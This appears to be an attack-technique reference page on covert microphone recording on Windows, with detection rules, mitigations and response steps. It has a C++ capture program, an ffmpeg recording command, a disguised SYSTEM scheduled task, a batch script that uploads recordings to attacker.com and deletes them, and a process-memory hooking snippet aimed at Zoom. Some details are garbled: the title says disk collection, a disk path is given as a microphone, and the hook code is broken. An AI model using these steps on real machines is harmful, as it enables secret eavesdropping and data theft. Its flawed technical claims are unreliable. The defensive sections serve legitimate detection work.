MCADDF

[COLLECT-DISK-001]: Disk Content Collection

Metadata

Attribute Details
Technique ID COLLECT-DISK-001
MITRE ATT&CK v18.1 T1123 - Audio Capture
Tactic Collection
Platforms Windows Endpoint
Severity High
CVE N/A (inherent hardware capability)
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Windows Server 2016 - 2025, Windows 10/11 (all builds with audio hardware)
Patched In N/A (hardware-dependent; mitigated via policy and Device Guard)
Author SERVTEP – Artur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Modern Windows systems include microphone and audio hardware that can be accessed programmatically via Windows APIs (WASAPI, Core Audio, DirectSound). Attackers with process execution capability can invoke audio capture APIs to silently record conversations, VoIP calls, conference meetings, and other audio without triggering built-in permission prompts (if running in user context without notification requirements). Recorded audio is compressed and stored on disk (WAV, MP3, OGG formats) or transmitted over network for exfiltration, capturing sensitive business discussions, authentication tokens spoken during security reviews, or personal information disclosed during conversations.

Attack Surface: Windows Core Audio APIs (winmm.dll, avrt.dll, mmdevapi.dll), audio device enumeration via WMI queries, and microphone hardware (\Device\HarddiskVolumeX\). Persistence via scheduled tasks or Intune/MDM policy deployment of audio recording code.

Business Impact: Covert intelligence gathering on confidential business discussions. Recording of M&A meetings, product development reviews, security incidents, executive strategies, client calls, and personal information. Can include capture of VoIP authentication credentials, spoken security codes, and intellectual property discussions.

Technical Context: Audio capture with modern malware is often silent and invisible - users have no indication their microphone is active (unlike older Windows where LED could be physically disabled). Detection requires monitoring for unexpected process access to audio devices via Sysmon Process Access rules or EDR behavioral analysis. Encoded audio files (OGG, AAC) are often compressed and exfiltrated via HTTPS, making network detection difficult without DLP (Data Loss Prevention).

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 18.8.9 Ensure that microphone access control is enabled
DISA STIG WN10-CC-000075 Ensure devices have permissions set for microphone access
CISA SCuBA AC.L1-3.1.1 Camera and microphone control policies
NIST 800-53 SI-4, PE-6 System Monitoring; Physical and Environmental Protection
GDPR Art. 32, Art. 24 Data Protection; Security of Processing; Privacy by Design
DORA Art. 17 Confidentiality; strong authentication for sensitive discussions
NIS2 Art. 21 Cybersecurity measures; protection against unauthorized access
ISO 27001 A.9.1.1, A.13.1.3 Access Control; Information transfer; Physical/logical access
ISO 27005 Surveillance Risk Unauthorized monitoring and surveillance scenarios

2. TECHNICAL PREREQUISITES

Supported Versions:

3. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: WASAPI Audio Capture (Windows Audio Session API)

Supported Versions: Windows 10/11, Server 2016-2025

Step 1: Enumerate Audio Devices

Objective: Identify available microphones and audio endpoints on the system

Command (PowerShell):

# List audio input devices via WMI
Get-WmiObject -Class Win32_SoundDevice | Where-Object {$_.ConfigManagerErrorCode -eq 0} | Select-Object Name, Description, DeviceID

# Alternative: Query audio endpoints via Registry
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\MediaCategories"

# Get audio device enumeration via WASAPI
$AudioDevices = Get-WmiObject -Namespace "root\wmi" -Class MSAudio_DeviceInterface | Select-Object Name, Enabled
$AudioDevices

Expected Output:

Name                                              Description                           DeviceID
----                                              -----------                           --------
Realtek High Definition Audio                     Realtek High Definition Audio Device  \\.\GLOBAL\{12345678}
Microphone (2- USB Audio Device)                  USB Microphone                        \\.\GLOBAL\{87654321}
Headset Microphone (Plantronics)                  Plantronics Headset Mic               \\.\GLOBAL\{11111111}

What This Means:

OpSec & Evasion:

Step 2: Initialize Audio Capture via WASAPI

Objective: Activate microphone and begin recording audio stream

Script (C++ - WASAPI Audio Capture):

/*
Minimal WASAPI Audio Recording Example
Captures microphone input to WAV file without UI/permissions
*/

#include <windows.h>
#include <mmdeviceapi.h>
#include <audioclient.h>
#include <avrt.h>
#include <stdio.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "mmdevapi.lib")
#pragma comment(lib, "avrt.lib")

int main() {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);
    
    // Get audio endpoint enumerator
    IMMDeviceEnumerator *pEnumerator = NULL;
    CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL,
                     __uuidof(IMMDeviceEnumerator), (void**)&pEnumerator);
    
    // Get default microphone
    IMMDevice *pDevice = NULL;
    pEnumerator->GetDefaultAudioEndpoint(eCapture, eCommunications, &pDevice);
    
    // Activate audio client
    IAudioClient *pAudioClient = NULL;
    pDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL,
                      (void**)&pAudioClient);
    
    // Get microphone format
    WAVEFORMATEX *pwfx = NULL;
    pAudioClient->GetMixFormat(&pwfx);
    printf("[+] Recording format: %d Hz, %d bits, %d channels\n",
           pwfx->nSamplesPerSec, pwfx->wBitsPerSample, pwfx->nChannels);
    
    // Initialize audio client in shared mode (no exclusive access)
    pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, 0,
                            10000000, 0, pwfx, NULL);
    
    // Get capture client
    IAudioCaptureClient *pCaptureClient = NULL;
    pAudioClient->GetService(__uuidof(IAudioCaptureClient),
                            (void**)&pCaptureClient);
    
    // Start recording
    pAudioClient->Start();
    printf("[+] Audio capture started\n");
    
    // Record 30 seconds of audio
    for (int i = 0; i < 300; i++) {
        UINT32 packetLength = 0;
        pCaptureClient->GetNextPacketSize(&packetLength);
        
        if (packetLength == 0) continue;
        
        BYTE *pData = NULL;
        DWORD flags = 0;
        UINT64 timestamp = 0;
        
        pCaptureClient->GetBuffer(&pData, &packetLength, &flags,
                                 &timestamp, NULL);
        
        // Process audio data (write to file or network)
        // [Audio encoding and exfiltration code here]
        
        pCaptureClient->ReleaseBuffer(packetLength);
        Sleep(100);  // 100ms intervals
    }
    
    // Stop recording
    pAudioClient->Stop();
    printf("[+] Audio capture stopped\n");
    
    // Cleanup
    pCaptureClient->Release();
    pAudioClient->Release();
    pDevice->Release();
    pEnumerator->Release();
    CoUninitialize();
    
    return 0;
}

Expected Output:

[+] Recording format: 48000 Hz, 16 bits, 2 channels
[+] Audio capture started
[+] Audio capture stopped

What This Means:

OpSec & Evasion:

Step 3: Encode Audio for Compression and Exfiltration

Objective: Compress recorded audio and prepare for covert transmission

Command (PowerShell - Using FFmpeg):

# Download FFmpeg (portable, no installation)
Invoke-WebRequest -Uri "https://ffmpeg.org/download.html" -OutFile "C:\Temp\ffmpeg.exe"

# Record audio for 30 seconds using ffmpeg
C:\Temp\ffmpeg.exe -f dshow -i audio="Microphone (2- USB Audio Device)" -t 30 -q:a 9 C:\Temp\audio.mp3

# Result: 30 seconds of speech compressed to ~100-150 KB
Get-Item C:\Temp\audio.mp3 | Select-Object -ExpandProperty Length

Expected Output:

147456  # 147 KB MP3 file (30 seconds of speech)

What This Means:

References:

METHOD 2: Scheduled Task-Based Audio Recording (Persistence)

Supported Versions: Windows Server 2016-2025

Step 1: Create Scheduled Task for Persistent Recording

Objective: Deploy audio recording as scheduled task that runs periodically without user interaction

Script (PowerShell):

# Create malicious scheduled task that records audio hourly
$TaskName = "Windows Audio Maintenance"
$TaskDescription = "Performs system audio diagnostics"
$Action = New-ScheduledTaskAction -Execute "C:\Windows\System32\malware.exe" -Argument "-record -duration 300"
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration (New-TimeSpan -Days 365)
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount

Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal -Description $TaskDescription

# Verify task was created
Get-ScheduledTask -TaskName "Windows Audio Maintenance"

Expected Output:

TaskName                                 State     Triggers
--------                                 -----     --------
Windows Audio Maintenance                Ready     {MSFT_TaskBootTrigger, MSFT_TaskLogonTrigger}

What This Means:

OpSec & Evasion:

Step 2: Configure Exfiltration Channel

Objective: Automatically send recorded audio to attacker-controlled server

Script (Batch - Upload to Cloud Storage):

REM Batch script embedded in scheduled task executable
REM Uploads recorded audio to attacker-controlled cloud storage

FOR /F "tokens=2-4 delims=/ " %%A IN ('date /t') DO (set mydate=%%C-%%A-%%B)
FOR /F "tokens=1-2 delims=/:" %%A IN ('time /t') DO (set mytime=%%A%%B)

REM Filename with timestamp
set FILENAME=audio_%mydate%_%mytime%.mp3

REM Upload to attacker server via HTTPS (curl built-in on Windows 10+)
curl -X POST -F "file=@C:\Temp\%FILENAME%" https://attacker.com/api/upload --silent --show-error

REM Delete local file to avoid forensic discovery
del C:\Temp\%FILENAME% /Q

Expected Output:

(Silent execution, no console output - file uploaded and deleted)

What This Means:

METHOD 3: Microphone Access via Virtual Audio Device (Zoom/Teams Exploitation)

Supported Versions: Windows 10/11 with VoIP applications

Step 1: Hijack VoIP Application Audio Stream

Objective: Intercept audio from legitimate VoIP (Zoom, Teams, Skype) before encryption

Script (C# - VoIP Audio Hooking):

/*
Hook Zoom/Teams audio output to capture calls without encryption
Demonstrates audio interception at application level
*/

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

[DllImport("kernel32.dll")]
private static extern bool WriteProcessMemory(
    IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer,
    uint nSize, out UIntPtr lpNumberOfBytesWritten);

public class VoIPAudioHook {
    // Hook target: mmdevapi.dll!IAudioCaptureClient::GetBuffer
    // This intercepts all audio before VoIP encryption
    
    public static void HookZoomAudio(int zoomProcessId) {
        IntPtr hProcess = Process.GetProcessById(zoomProcessId).Handle;
        
        // Locate mmdevapi.dll in target process
        IntPtr mmDevApi = GetModuleHandle("mmdevapi.dll");
        
        if (mmDevApi == IntPtr.Zero) {
            Console.WriteLine("[!] mmdevapi.dll not loaded");
            return;
        }
        
        // Hook the GetBuffer function
        IntPtr getBufferAddr = GetProcAddress(mmDevApi, "IAudioCaptureClient_GetBuffer");
        
        // Create malicious code to redirect audio
        byte[] hookCode = new byte[] {
            0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov rax, <malicious_func>
            0xFF, 0xE0  // jmp rax
        };
        
        // Write hook into target process memory
        WriteProcessMemory(hProcess, getBufferAddr, hookCode, (uint)hookCode.Length, out _);
        
        Console.WriteLine("[+] Audio hook installed on Zoom process");
        Console.WriteLine("[+] All call audio will be intercepted and saved");
    }
}

What This Means:

OpSec & Evasion:

4. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Manual Configuration Steps:

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration
  3. Expand Detailed Tracking → Enable Audit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force

Event ID: 4622 (AUDIODG.EXE - Audio Device Graph Isolation Process)

5. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2016+

<!-- Detect Audio Capture Attempts -->
<Sysmon schemaversion="4.81">
  <RuleGroup name="Audio Capture Detection" groupRelation="or">
    
    <!-- Monitor for WASAPI audio API access -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="ends with">mmdevapi.dll</TargetImage>
      <GrantedAccess condition="contains">0x1000</GrantedAccess>  <!-- PROCESS_QUERY_INFORMATION -->
    </ProcessAccess>
    
    <!-- Detect audio recording executables -->
    <ProcessCreate onmatch="include">
      <Image condition="ends with any">ffmpeg.exe; audacity.exe; SoundRecorder.exe; audio-recorder.exe</Image>
    </ProcessCreate>
    
    <!-- Monitor for microphone device access -->
    <CreateRemoteThread onmatch="include">
      <SourceImage condition="ends with">audiodg.exe</SourceImage>  <!-- Audio Device Graph Isolation -->
    </CreateRemoteThread>
    
    <!-- Detect file creation for audio output (WAV, MP3, OGG) -->
    <FileCreate onmatch="include">
      <TargetFilename condition="ends with any">.wav; .mp3; .ogg; .flac; .aac</TargetFilename>
      <TargetFilename condition="contains any">C:\Temp; C:\ProgramData; C:\Windows\Temp</TargetFilename>
    </FileCreate>
    
  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Sysinternals
  2. Create config file with XML above
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify: Get-Service Sysmon64 and check Event Viewer

6. SPLUNK DETECTION RULES

Rule 1: Audio Recording Tool Execution

Rule Configuration:

SPL Query:

Image IN ("*ffmpeg*", "*audacity*", "*SoundRecorder*") CommandLine IN ("*-f dshow*", "*-i audio*", "*-audio-device*")
| stats count by Image, User, CommandLine, host
| where count >= 1

What This Detects:

Rule 2: Microphone File Creation (Audio Output)

Rule Configuration:

SPL Query:

TargetFilename IN ("*.wav", "*.mp3", "*.ogg", "*.flac") AND ParentImage NOT IN ("*Windows.Media*", "*Groove*", "*MediaPlayer*")
| stats count by ParentImage, TargetFilename, User, host
| where count >= 1

What This Detects:

7. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Microphone Access by Suspicious Process

Alert Name: “Unauthorized microphone access detected”

Manual Configuration:

  1. Azure Portal → Microsoft Defender for Cloud
  2. Environment settings → Select Subscription
  3. Enable Defender for Servers: ON
  4. Configure Alerts for microphone access patterns

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Hardening

Validation Command (Verify Mitigations)

# Check if microphone is disabled at OS level
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone" | Select-Object -ExpandProperty Value
# Expected: Deny

# Verify no audio recording scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Audio*" -or $_.Description -like "*record*"} | Select-Object TaskName, TaskPath, State

# Check audio device status
Get-PnpDevice | Where-Object {$_.Class -eq "AudioEndpoint" -or $_.Class -eq "MEDIA"}
# Expected: Status = OK (not degraded/disabled)

# Verify Group Policy audio restriction
gpresult /h C:\gp_report.html  # Search report for "microphone" policy settings

Expected Output (If Secure):

Value                      : Deny

(No scheduled audio tasks)

Status   Class           FriendlyName
------   -----           ----
OK       AudioEndpoint   Speakers (Realtek High Definition Audio)

(Policy report shows: "Allow microphone: Disabled")

9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: 
    # Disconnect network immediately
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
    
# Kill audio recording processes
Stop-Process -Name "ffmpeg" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "audacity" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "malware" -Force -ErrorAction SilentlyContinue
  2. Collect Evidence: 
    # Export Sysmon logs
wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Evidence\Sysmon.evtx"
    
# Dump audio files for analysis
Get-ChildItem -Path "C:\Temp", "C:\ProgramData", "C:\Windows\Temp" -Include "*.wav", "*.mp3", "*.ogg" -Recurse | Copy-Item -Destination "C:\Evidence\"
    
# Export scheduled tasks
Get-ScheduledTaskInfo | Export-Csv "C:\Evidence\ScheduledTasks.csv"
  3. Remediate: 
    # Delete audio files
Remove-Item "C:\Temp\*.wav", "C:\Temp\*.mp3", "C:\Temp\*.ogg" -Force -ErrorAction SilentlyContinue
    
# Delete malicious scheduled tasks
Unregister-ScheduledTask -TaskName "Windows Audio Maintenance" -Confirm:$false
    
# Disable microphone via Group Policy (if compromised)
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone" -Name "Value" -Value "Deny" -Force
  4. Investigate Audio Content: 
    # Analyze captured audio files for sensitive information
# Listen to recordings (outside of isolated environment)
ffplay C:\Evidence\audio.mp3
    
# Extract speech text (using commercial transcription service if needed)
# Identify sensitive information disclosed
  5. Determine Scope: 
    # Search entire domain for similar audio files
Get-ChildItem -Path "\\*\Users\*" -Include "*.wav", "*.mp3" -Recurse | Measure-Object
    
# Check other systems for same scheduled task
Invoke-Command -ComputerName (Get-ADComputer -Filter "*" | Select -ExpandProperty Name) -ScriptBlock {Get-ScheduledTask -TaskName "Windows Audio Maintenance"}
  6. Reset Credentials:
    • Force password reset for all users whose conversations were recorded
    • Revoke active sessions in M365
    • Check for stolen meeting links or sensitive data discussed
Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains initial access via social engineering
2 Execution [EXEC-XXX] PowerShell / Scripting Deploy audio recording malware
3 Persistence [PERSIST-XXX] Scheduled Task / WMI Event Ensure audio recording persists across reboots
4 Collection [COLLECT-DISK-001] Silently record all microphone audio
5 Exfiltration [EXFIL-XXX] Data over HTTPS / C2 Protocol Covertly upload audio files to attacker server
6 Impact [IMPACT-XXX] Eavesdropping / Intelligence Gathering Capture sensitive business discussions, credentials

11. REAL-WORLD EXAMPLES

Example 1: SoundComfort (Spyware - 2018)

Example 2: Pegasus Spyware (NSO Group - 2016-2024)

12. CONCLUSION

Microphone/audio capture is a high-impact intelligence gathering technique that is difficult to detect without proper monitoring. The technique is ACTIVE on all Windows platforms and remains a significant privacy concern in enterprise environments.

Key Defense Priorities:

  1. Disable microphone at BIOS level if not required (most effective control)
  2. Restrict microphone access via Windows Settings and Group Policy
  3. Monitor for audio recording tool execution (FFmpeg, Audacity)
  4. Alert on suspicious audio file creation in temp directories
  5. Deploy Device Guard to prevent execution of unauthorized code
  6. Implement microphone LED indicator to make recording visible
  7. Use Sysmon to detect WASAPI API access from unauthorized processes

Operational Notes for Red Teams:

This site is open source. Improve this page.